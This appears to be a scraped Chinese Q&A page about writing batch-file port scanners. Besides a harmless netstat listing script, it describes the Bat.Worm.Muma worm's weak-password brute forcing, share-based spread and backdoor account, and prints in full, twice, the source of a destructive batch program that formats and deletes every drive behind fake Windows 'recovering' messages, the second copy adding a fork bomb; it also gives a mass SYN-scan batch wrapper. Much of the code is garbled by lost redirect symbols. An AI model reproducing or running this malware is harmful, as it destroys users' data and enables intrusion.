怎么制作一个BAT的端口扫描器
@echo off
setlocal enabledelayedexpansion
title 端口扫描器 by 风旋碧浪
color 4fMODE con: COLS=50 LINES=12
echo.echo 开始扫描,需要时间,请稍候……
(echo.echo 端口号 进程名称
echo.echo TCP协议: )端口查看.txt
echo.echo 正在扫描TCP协议……
for /f "skip=4 tokens=2,5" %%a in ('netstat -ano -p TCP') do (
for /f "tokens=2 delims=:" %%A in ("%%a") do set TCP端口=%%A
for /f "skip=2 delims=, tokens=1" %%A in ('tasklist /fi "PID eq %%b" /FO CSV') do set TCP进程=%%~A
echo !TCP端口! !TCP进程!端口查看.txt
)
echo UDP协议: 端口查看.txt
echo.echo 正在扫描UDP协议……
for /f "skip=4 tokens=2,4" %%a in ('netstat -ano -p UDP') do (
for /f "tokens=2 delims=:" %%A in ("%%a") do set UDP端口=%%A
for /f "skip=2 delims=, tokens=1" %%A in ('tasklist /fi "PID eq %%b" /FO CSV') do set UDP进程=%%~A
echo !UDP端口! !UDP进程!端口查看.txt
)
echo.echo.echo 扫描结束!请查看《端口查看.txt》文件!
pausenul
Bat.Worm.Muma能干吗?
那个是病毒,该病毒采用批处理命令编写,并携带端口扫描工具,通过暴力破解被攻击的计算机超级用户Frethem/index.htm" target="_blank" style='text-decoration: underline;color: #0000FF'密码,进行疯狂传播。病毒由Start.bat开始运行。这个批处理程序会调用其它批处理程序去完成传染;
3、病毒会搜索从C:到H:盘中\MU目录以及其了目录下的所有文件,并把文件名保存在LAN.LOG文件中。当被搜索的文件名中包含“MU”字符串时,nwiz.exe将被执行,nwiz.exe根据nwiz.ini和nwiz.in_文件对病毒中的字符串进行简单的加密。这个搜索过程完成后,LAN.LOG会被删除;
4、删除ipcfind.txt文件,调HFind.exe进行网络扫描,搜索网络中的计算机。并试图使用以下的密码去破解被攻击的计算机。可能的密码是:
password
passwd
admin
pass
123
1234
12345
123456
密码为空
5、被HFind.exe破解成功的计算机,会被病毒将上述的所有文件通过管理员文件共享方式拷贝到其系统目录下。对于Windows
NT、Windows200系统是C:\winnt\system32目录,对于WindowsXP系统是C:\winnt\system32或C:\Windows\system32目录,对于Win9X是C:\windows\system目录;
6、传染成功后,病毒会用Psexec.exe程序远程启动被感染计算机上的Start.bat,从而使病毒在被感染的计算机上激活;
7、调用系统程序netstat.exe,然后运行Near.bat从netstat的输出信息中获得更多的IP,并对这些IP进行攻击;
8、ss.bat创建或者修改系统中的admin用户,并设置其它密码为:KKKKKKK。为被攻击计算机留下一个后门。
9、利用ntservice.bat调用ntservice.exe为自己注册一个名为"Application"的系统服务,保证自己能在每次系统重启时被激活。
最近有变异的
原病毒源代码:@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:autoexec.bat nul
echo @echo off c:autoexec.bat
echo call format c: /q /u /autoSample nul c:autoexec.bat
call attrib +r +h c:autoexec.bat nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" nul {t}.bat
%comspec% /e:2048 /c {t}.bat drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" nul {t}.bat
%comspec% /e:2048 /c {t}.bat drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" nul {t}.bat
%comspec% /e:2048 /c {t}.bat drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a nul
del drivechk.bat nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:autoexec.bat nul
echo @echo off c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: nul c:autoexec.bat
echo cd c:autoexec.bat
echo cls c:autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. c:autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . c:autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. c:autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! c:autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. c:autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.c:autoexec.bat
echo echo. c:autoexec.bat
echo echo Regards, c:autoexec.bat
echo echo. c:autoexec.bat
echo echo Munga Bunga c:autoexec.bat
call attrib +r +h c:autoexec.bat
:makedir
if exist c:temp.bat attrib -r -h c:temp.bat nul
echo @echo off c:temp.bat
echo %%1: c:temp.bat
echo cd c:temp.bat
echo :startmd c:temp.bat
echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a c:temp.bat
echo for %%%%a in ("ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! c:temp.bat
echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd c:temp.bat
call attrib +r +h c:temp.bat nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a: /S nul
call attrib +r +h c:temp.bat nul
call attrib +r +h c:autoexec.bat nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:*. nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
变异病毒源代码:@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:autoexec.bat nul
echo @echo off c:autoexec.bat
echo call format c: /q /u /autoSample nul c:autoexec.bat
call attrib +r +h c:autoexec.bat nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" nul {t}.bat
%comspec% /e:2048 /c {t}.bat drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" nul {t}.bat
%comspec% /e:2048 /c {t}.bat drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" nul {t}.bat
%comspec% /e:2048 /c {t}.bat drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a nul
del drivechk.bat nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:autoexec.bat nul
echo @echo off c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga nul c:autoexec.bat
echo cls c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: nul c:autoexec.bat
echo cd c:autoexec.bat
echo cls c:autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. c:autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . c:autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. c:autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! c:autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. c:autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.c:autoexec.bat
echo echo. c:autoexec.bat
echo echo Regards, c:autoexec.bat
echo echo. c:autoexec.bat
echo echo Munga Bunga c:autoexec.bat
call attrib +r +h c:autoexec.bat
:makedir
if exist c:temp.bat attrib -r -h c:temp.bat nul
echo @echo off c:temp.bat
echo %%1: c:temp.bat
echo cd c:temp.bat
echo :startmd c:temp.bat
echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a c:temp.bat
echo for %%%%a in ("ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! c:temp.bat
echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd c:temp.bat
call attrib +r +h c:temp.bat nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a: /S nul
call attrib +r +h c:temp.bat nul
call attrib +r +h c:autoexec.bat nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:*. nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
echo You got it!!
:a
start cmd.exe
start %0
goto a
求个端口扫描器 bat格式的
setlocal
cls
color A
title 6666端口扫描【服务器SYN1000线程】
echo ======================================================
echo 6666端口扫描【服务器SYN1000线程】
echo .
echo .
echo ======================================================
del result.txt
del s.txt
for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s syn %%i %%j 6666 1000 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%is1.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%is2.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i:6666s.txt
del s1.txt
del s2.txt
del Result.txt
本人珍藏自己下个S.exe配置文件是ip.txt端口自己改!
怎么用BAT文件做端口扫描器
首先,给你更正一下,估计是你看了别人的教程或者软件,让你以为BAT可以扫端口,严格意义上说批处理文件BAT是不能真正意义上实现扫端口功能,即使有也是利用TELNET。而且是单线程。是没任何意义的。你看到的我估计是S扫描器,然后别人做成一个批处理,比如流行的扫135,1433,3389或者其他溢出都喜欢用S扫描器,因为它速度一流,而且是命令下操作适合做成BAT文件批量处理。而输出扫描结果这个比较简单,就是写几行批处理来提取S扫描器生成的结果Result.txt文件,然后输出到5.txt中。就这么简单。这些代码网上有现成的,如果你有需要可以给我留言,适当的给你分享分享!
扫描ip端口bat问题
没有提供result.txt这个文件,导致后续命令执行错误,请确保是否存在result.txt这个文件。
0条大神的评论